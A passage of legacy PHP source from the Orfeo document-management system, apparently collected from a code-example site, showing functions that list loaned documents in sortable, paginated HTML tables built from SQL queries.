    $sFormTitle = "Documentos Prestados";
    $HasParam = false;
    $iRecordsPerPage = 20;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    $form_params = "s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $iSort = get_param("FormPRESTAMO_Sorting");
    $iSorted = get_param("FormPRESTAMO_Sorted");
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC";
            $sSortParams = "FormPRESTAMO_Sorting=" . $iSort . "&FormPRESTAMO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC";
            $sSortParams = "FormPRESTAMO_Sorting=" . $iSort . "&FormPRESTAMO_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by P.RADI_NUME_RADI" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by P.USUA_LOGIN_ACTU" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by D.DEPE_NOMB" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by P.USUA_LOGIN_PRES" . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by P.PRES_DESC" . $sDirection;
        }
        if ($iSort == 6) {
            $sOrder = " order by P.PRES_FECH_PRES" . $sDirection;
        }
        if ($iSort == 7) {
            $sOrder = " order by P.PRES_FECH_DEVO" . $sDirection;
        }
        if ($iSort == 8) {
            $sOrder = " order by P.PRES_FECH_PEDI" . $sDirection;
        }
        if ($iSort == 9) {
            $sOrder = " order by P.PRES_ESTADO" . $sDirection;
        }
        if ($iSort == 10) {
            $sOrder = " order by P.PRES_REQUERIMIENTO" . $sDirection;
        }
        if ($iSort == 11) {
            $sOrder = " order by P.PRES_FECH_VENC" . $sDirection;
        }
    }
    //-------------------------------
    // HTML column headers
    //-------------------------------
    ?>
     <table class="FormTABLE">
      <tr>
       <td class="FormHeaderTD" colspan="10"><a name="PRESTAMO"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
      </tr>
      <tr>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=1&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=2&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Solicitó</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=3&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dependencia</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=4&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Prestó</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=5&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Descripción</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=8&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Solicitado el</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=6&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Prestado el</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=11&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Vence</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTAMO_Sorting=10&FormPRESTAMO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Requerimiento</font></a></td>
       <td class="ColumnTD"><font class="ColumnFONT">Renovar</font></td>
      </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    if (is_number($ps_RADI_NUME_RADI) && strlen($ps_RADI_NUME_RADI)) {
        $ps_RADI_NUME_RADI = tosql($ps_RADI_NUME_RADI, "Number");
    } else {
        $ps_RADI_NUME_RADI = "";
    }
    if (strlen($ps_RADI_NUME_RADI)) {
        $HasParam = true;
        $sWhere = "P.RADI_NUME_RADI like ('%" . $ps_RADI_NUME_RADI . "%') or " . "P.USUA_LOGIN_ACTU like " . tosql("%" . $ps_RADI_NUME_RADI . "%", "Text");
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ")";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $radiATexto = $db->conn->numToString("P.RADI_NUME_RADI");
    $sSQL = "select P.DEPE_CODI as P_DEPE_CODI, " . "P.PRES_DESC as P_PRES_DESC, " . "P.PRES_ESTADO as P_PRES_ESTADO, " . "P.PRES_FECH_PEDI as P_PRES_FECH_PEDI, " . "P.PRES_FECH_PRES as P_PRES_FECH_PRES, " . "P.PRES_FECH_VENC as P_PRES_FECH_VENC, " . "P.PRES_ID as P_PRES_ID, " . "P.PRES_REQUERIMIENTO as P_PRES_REQUERIMIENTO, " . " {$radiATexto} as P_RADI_NUME_RADI, " . "P.USUA_LOGIN_ACTU as P_USUA_LOGIN_ACTU, " . "P.USUA_LOGIN_PRES as P_USUA_LOGIN_PRES, " . "D.DEPE_CODI as D_DEPE_CODI, " . "D.DEPE_NOMB as D_DEPE_NOMB " . " from PRESTAMO P, DEPENDENCIA D" . " where D.DEPE_CODI=P.DEPE_CODI  ";
    //-------------------------------
    //-------------------------------
    // PRESTAMO Open Event begin
    $depe = get_session("Dependencia");
    $sWhere .= " AND (P.PRES_ESTADO=2 OR P.PRES_ESTADO=5) AND PRES_DEPE_ARCH=" . $depe;
    // PRESTAMO Open Event end
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $sOrder;
    if ($sCountSQL == "") {
        $iTmpI = strpos(strtolower($sSQL), "select");
        $iTmpJ = strpos(strtolower($sSQL), "from") - 1;
        $sCountSQL = str_replace(substr($sSQL, $iTmpI + 6, $iTmpJ - $iTmpI - 6), " count(*) ", $sSQL);
        $iTmpI = strpos(strtolower($sCountSQL), "order by");
        if ($iTmpI > 1) {
            $sCountSQL = substr($sCountSQL, 0, $iTmpI - 1);
        }
    }
    //-------------------------------
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
    $rs = $db->query($sSQL);
    $db->conn->SetFetchMode(ADODB_FETCH_NUM);
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$rs || $rs->EOF) {
        ?>
     <tr>
      <td colspan="10" class="DataTD"><font class="DataFONT">No hay Registros</font></td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    //-------------------------------
    // Prepare the lists of values
    //-------------------------------
    $aPRES_ESTADO = split(";", "1;Pedido;2;Prestado;3;Devuelto;4;Cancelado;5;Prestamo Indefinido");
    $aPRES_REQUERIMIENTO = split(";", "1;Documento;2;Anexo");
    //-------------------------------
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iRecordsPerPage = 20;
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormPRESTAMO_Page");
    $db_count = get_db_value($sCountSQL);
    $dResult = intval($db_count) / $iRecordsPerPage;
    $iPageCount = intval($dResult);
    if ($iPageCount < $dResult) {
        $iPageCount = $iPageCount + 1;
    }
    $iTotalPages = $iPageCount;
    if (!strlen($iPage)) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $iPage = $iPageCount;
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        do {
            $iCounter++;
            $rs->MoveNext();
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && !$rs->EOF);
    }
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------
    while ($rs && !$rs->EOF && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldDEPE_CODI = $rs->fields["D_DEPE_NOMB"];
        $fldPRES_DESC = $rs->fields["P_PRES_DESC"];
        $fldPRES_ESTADO = $rs->fields["P_PRES_ESTADO"];
        $fldPRES_FECH_DEVO = $rs->fields["P_PRES_FECH_DEVO"];
        $fldPRES_FECH_PEDI = $rs->fields["P_PRES_FECH_PEDI"];
        $fldPRES_FECH_PRES = $rs->fields["P_PRES_FECH_PRES"];
        $fldPRES_FECH_VENC = $rs->fields["P_PRES_FECH_VENC"];
        $fldPRES_ID = $rs->fields["P_PRES_ID"];
        $fldPRES_REQUERIMIENTO = $rs->fields["P_PRES_REQUERIMIENTO"];
        $fldRADI_NUME_RADI_URLLink = "devolver.php";
        $fldRADI_NUME_RADI_PRES_ID = $rs->fields["P_PRES_ID"];
        $fldRADI_NUME_RADI = $rs->fields["P_RADI_NUME_RADI"];
        $fldUSUA_LOGIN_ACTU = $rs->fields["P_USUA_LOGIN_ACTU"];
        $fldUSUA_LOGIN_PRES = $rs->fields["P_USUA_LOGIN_PRES"];
        $rs->MoveNext();
        //-------------------------------
        // PRESTAMO Show begin
        //-------------------------------
        //-------------------------------
        // PRESTAMO Show Event begin
        // PRESTAMO Show Event end
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT"><a href="<?php 
        echo $fldRADI_NUME_RADI_URLLink;
        ?>
?PRES_ID=<?php 
        echo $fldRADI_NUME_RADI_PRES_ID;
        ?>
&<?php 
        echo $transit_params;
        ?>
"><font class="DataFONT"><?php 
        echo $fldRADI_NUME_RADI;
        ?>
</font></a>&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_LOGIN_ACTU);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDEPE_CODI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldUSUA_LOGIN_PRES);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_DESC);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_PEDI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_PRES);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldPRES_FECH_VENC);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        $fldPRES_REQUERIMIENTO = get_lov_value($fldPRES_REQUERIMIENTO, $aPRES_REQUERIMIENTO);
        ?>
      <?php 
        echo tohtml($fldPRES_REQUERIMIENTO);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT"><a href="renovar.php?PRES_ID=<?php 
        echo $fldRADI_NUME_RADI_PRES_ID;
        ?>
&<?php 
        echo $transit_params;
        ?>
"><font class="DataFONT">Renovar</font></a>&nbsp;</font></td>
      </tr><?php 
        //-------------------------------
        // PRESTAMO Show end
        //-------------------------------
        //-------------------------------
        // Move to the next record and increase record counter
        //-------------------------------
        $iCounter++;
    }
    //-------------------------------
    //  Grid. The insert link and record navigator.
    //-------------------------------
    ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // PRESTAMO Navigation begin
    if ($rs || !$rs->EOF || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 10;
        $iHasPages = $iPageCount;
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iStartPage + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=\"{$sFileName}?{$form_params}{$sSortParams}{$FormPRESTAMO_Page}={$iPageCount}#PRESTAMO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"ColumnFONT\"" . ">" . $iPage . "</font>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormPRESTAMO_Page=" . $iPageCount . "#PRESTAMO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
        <font class="ColumnFONT">Primero</font>
        <font class="ColumnFONT">Anterior</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTAMO_Page=1#PRESTAMO"><font class="ColumnFONT">Primero</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTAMO_Page=<?php 
            echo $iPage - 1;
            ?>
#PRESTAMO"><font class="ColumnFONT">Anterior</font></a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "of " . $iTotalPages . "&nbsp;" . "]&nbsp;";
        if (!$bEof) {
            ?>
        <font class="ColumnFONT">Siguiente</font>
        <font class="ColumnFONT">Ultimo</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTAMO_Page=<?php 
            echo $iPage + 1;
            ?>
#PRESTAMO"><font class="ColumnFONT">Siguiente</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormPRESTAMO_Page=last#PRESTAMO"><font class="ColumnFONT">Ultimo</font></a>
<?php 
        }
    }
    //-------------------------------
    // PRESTAMO Navigation end
    //-------------------------------
    //-------------------------------
    // Finish form processing
    //-------------------------------
    ?>
      </font></td></tr>
    </table>
  <?php 
    //-------------------------------
    // PRESTAMO Close Event begin
    // PRESTAMO Close Event end
    //-------------------------------
}

示例#8

文件： busquedas.php 项目： kractos26/orfeo

function PRESTADOS_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sPRESTADOSErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $sFormTitle = "Documentos Prestados";
    $HasParam = false;
    $iRecordsPerPage = 100;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    $form_params = "s_DEPE_CODI=" . tourl(get_param("s_DEPE_CODI")) . "&s_PRES_DESC=" . tourl(get_param("s_PRES_DESC")) . "&s_PRES_ESTADO=" . tourl(get_param("s_PRES_ESTADO")) . "&s_PRES_REQUERIMIENTO=" . tourl(get_param("s_PRES_REQUERIMIENTO")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_USUA_LOGIN_ACTU=" . tourl(get_param("s_USUA_LOGIN_ACTU")) . "&s_USUA_LOGIN_PRES=" . tourl(get_param("s_USUA_LOGIN_PRES")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $iSort = get_param("FormPRESTADOS_Sorting");
    $iSorted = get_param("FormPRESTADOS_Sorted");
    if (!$iSort) {
        $form_sorting = "";
        $sOrder = " order by P.PRES_FECH_PEDI DESC";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC";
            $sSortParams = "FormPRESTADOS_Sorting=" . $iSort . "&FormPRESTADOS_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC";
            $sSortParams = "FormPRESTADOS_Sorting=" . $iSort . "&FormPRESTADOS_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by P.RADI_NUME_RADI" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by P.USUA_LOGIN_ACTU" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by D.DEPE_NOMB" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by P.PRES_FECH_PEDI" . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by P.PRES_REQUERIMIENTO" . $sDirection;
        }
        if ($iSort == 6) {
            $sOrder = " order by P.PRES_FECH_PRES" . $sDirection;
        }
        if ($iSort == 7) {
            $sOrder = " order by P.PRES_DESC" . $sDirection;
        }
        if ($iSort == 8) {
            $sOrder = " order by P.PRES_FECH_DEVO" . $sDirection;
        }
        if ($iSort == 9) {
            $sOrder = " order by P.USUA_LOGIN_PRES" . $sDirection;
        }
        if ($iSort == 10) {
            $sOrder = " order by P.PRES_ESTADO" . $sDirection;
        }
    }
    //-------------------------------
    // HTML column headers
    //-------------------------------
    ?>
     <table class="FormTABLE">
      <tr>
       <td class="FormHeaderTD" colspan="10"><a name="PRESTADOS"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
      </tr>
      <tr>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=1&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=2&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Usuario</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=3&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dependencia</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=4&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha de Solicitud</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=5&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Requerimiento</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=6&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha de Pr&eacute;stamo</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=7&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Descripci&oacute;n</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=8&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha de Devoluci&oacute;n</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=9&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Usuario Archivo/C.Docum</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormPRESTADOS_Sorting=10&FormPRESTADOS_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Estado</font></a></td>
      </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    //------------------------------------
    //$ps_desde_RADI_FECH_RADI = Date('d/m/Y H:i:s',mktime(0,0,0,get_param("s_desde_mes"),get_param("s_desde_dia"),get_param("s_desde_ano")));
    $ps_desde_RADI_FECH_RADI = Date('Y-m-d H:i:s', mktime(0, 0, 0, get_param("s_desde_mes"), get_param("s_desde_dia"), get_param("s_desde_ano")));
    if (strlen($ps_desde_RADI_FECH_RADI)) {
        $HasParam = true;
        //$sWhere = $sWhere . "P.PRES_FECH_PEDI>=to_date('" .$ps_desde_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
        $sWhere = $sWhere . "P.PRES_FECH_PEDI>=" . $db->conn->DBDate($ps_desde_RADI_FECH_RADI) . " ";
    }
    //-----------------------
    // Se reciben
    //-----------------------
    //$ps_hasta_RADI_FECH_RADI = Date('d/m/Y H:i:s',mktime(23,59,59,get_param("s_hasta_mes"),get_param("s_hasta_dia"),get_param("s_hasta_ano")));
    $ps_hasta_RADI_FECH_RADI = Date('Y-m-d H:i:s', mktime(23, 59, 59, get_param("s_hasta_mes"), get_param("s_hasta_dia") + 1, get_param("s_hasta_ano")));
    if (strlen($ps_hasta_RADI_FECH_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        //$sWhere = $sWhere . "P.PRES_FECH_PEDI<=to_date('" . $ps_hasta_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
        $sWhere = $sWhere . "P.PRES_FECH_PEDI<" . $db->conn->DBDate($ps_hasta_RADI_FECH_RADI) . "  ";
    }
    //print ($ps_hasta_RADI_FECH_RADI);
    $ps_DEPE_CODI = get_param("s_DEPE_CODI");
    if (is_number($ps_DEPE_CODI) && strlen($ps_DEPE_CODI)) {
        $ps_DEPE_CODI = tosql($ps_DEPE_CODI, "Number");
    } else {
        $ps_DEPE_CODI = "";
    }
    if (strlen($ps_DEPE_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.DEPE_CODI=" . $ps_DEPE_CODI;
    }
    $ps_PRES_DESC = get_param("s_PRES_DESC");
    if (strlen($ps_PRES_DESC)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.PRES_DESC like " . tosql("%" . $ps_PRES_DESC . "%", "Text");
    }
    $ps_PRES_ESTADO = get_param("s_PRES_ESTADO");
    if (is_number($ps_PRES_ESTADO) && strlen($ps_PRES_ESTADO)) {
        $ps_PRES_ESTADO = tosql($ps_PRES_ESTADO, "Number");
    } else {
        $ps_PRES_ESTADO = "";
    }
    if (strlen($ps_PRES_ESTADO)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.PRES_ESTADO=" . $ps_PRES_ESTADO;
    }
    $ps_PRES_REQUERIMIENTO = get_param("s_PRES_REQUERIMIENTO");
    if (is_number($ps_PRES_REQUERIMIENTO) && strlen($ps_PRES_REQUERIMIENTO)) {
        $ps_PRES_REQUERIMIENTO = tosql($ps_PRES_REQUERIMIENTO, "Number");
    } else {
        $ps_PRES_REQUERIMIENTO = "";
    }
    if (strlen($ps_PRES_REQUERIMIENTO)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.PRES_REQUERIMIENTO=" . $ps_PRES_REQUERIMIENTO;
    }
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    if (is_number($ps_RADI_NUME_RADI) && strlen($ps_RADI_NUME_RADI)) {
        $ps_RADI_NUME_RADI = $ps_RADI_NUME_RADI;
    } else {
        $ps_RADI_NUME_RADI = "";
    }
    if (strlen($ps_RADI_NUME_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.RADI_NUME_RADI like ('%" . $ps_RADI_NUME_RADI . "%')";
    }
    $ps_USUA_LOGIN_ACTU = get_param("s_USUA_LOGIN_ACTU");
    if (strlen($ps_USUA_LOGIN_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.USUA_LOGIN_ACTU like " . tosql("%" . $ps_USUA_LOGIN_ACTU . "%", "Text");
    }
    $ps_USUA_LOGIN_PRES = get_param("s_USUA_LOGIN_PRES");
    if (strlen($ps_USUA_LOGIN_PRES)) {
        $ps_USUA_LOGIN_PRES = strtoupper($ps_USUA_LOGIN_PRES);
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "P.USUA_LOGIN_PRES like " . tosql("%" . $ps_USUA_LOGIN_PRES . "%", "Text");
    }
    if ($HasParam) {
        $sWhere = " AND (" . $sWhere . ")";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $radiATexto = $db->conn->numToString("P.RADI_NUME_RADI ");
    $sSQL = "select P.DEPE_CODI as P_DEPE_CODI, " . "P.PRES_DESC as P_PRES_DESC, " . "P.PRES_ESTADO as P_PRES_ESTADO, " . "P.PRES_FECH_DEVO as P_PRES_FECH_DEVO, " . "P.PRES_FECH_PEDI as P_PRES_FECH_PEDI, " . "P.PRES_FECH_PRES as P_PRES_FECH_PRES, " . "P.PRES_ID as P_PRES_ID, " . "P.PRES_REQUERIMIENTO as P_PRES_REQUERIMIENTO, " . "{$radiATexto} as P_RADI_NUME_RADI, " . "P.USUA_LOGIN_ACTU as P_USUA_LOGIN_ACTU, " . "P.USUA_LOGIN_PRES as P_USUA_LOGIN_PRES, " . "D.DEPE_CODI as D_DEPE_CODI, " . "D.DEPE_NOMB as D_DEPE_NOMB " . " from PRESTAMO P, DEPENDENCIA D" . " where D.DEPE_CODI=P.DEPE_CODI  ";
    //-------------------------------
    //-------------------------------
    // PRESTADOS Open Event begin
    // PRESTADOS Open Event end
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    $sSQL .= $sWhere . $sOrder;
    if ($sCountSQL == "") {
        $iTmpI = strpos(strtolower($sSQL), "select");
        $iTmpJ = strpos(strtolower($sSQL), "from") - 1;
        $sCountSQL = str_replace(substr($sSQL, $iTmpI + 6, $iTmpJ - $iTmpI - 6), " count(*) ", $sSQL);
        $iTmpI = strpos(strtolower($sCountSQL), "order by");
        if ($iTmpI > 1) {
            $sCountSQL = substr($sCountSQL, 0, $iTmpI - 1);
        }
    }
    //-------------------------------
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->conn->SetFetchMode(ADODB_FETCH_ASSOC);
    $rs = $db->query($sSQL);
    $db->conn->SetFetchMode(ADODB_FETCH_NUM);
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$rs || $rs->EOF) {
        ?>
     <tr>
      <td colspan="10" class="DataTD"><font class="DataFONT">No hay Registros</font></td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    //-------------------------------
    // Prepare the lists of values
    //-------------------------------
    $aPRES_REQUERIMIENTO = split(";", "1;Documento;2;Anexo");
    $aPRES_ESTADO = split(";", "1;Solicitado;2;Prestado;3;Devuelto;4;Cancelado;5:Prestamo Indefinido");
    //-------------------------------
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iRecordsPerPage = 100;
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
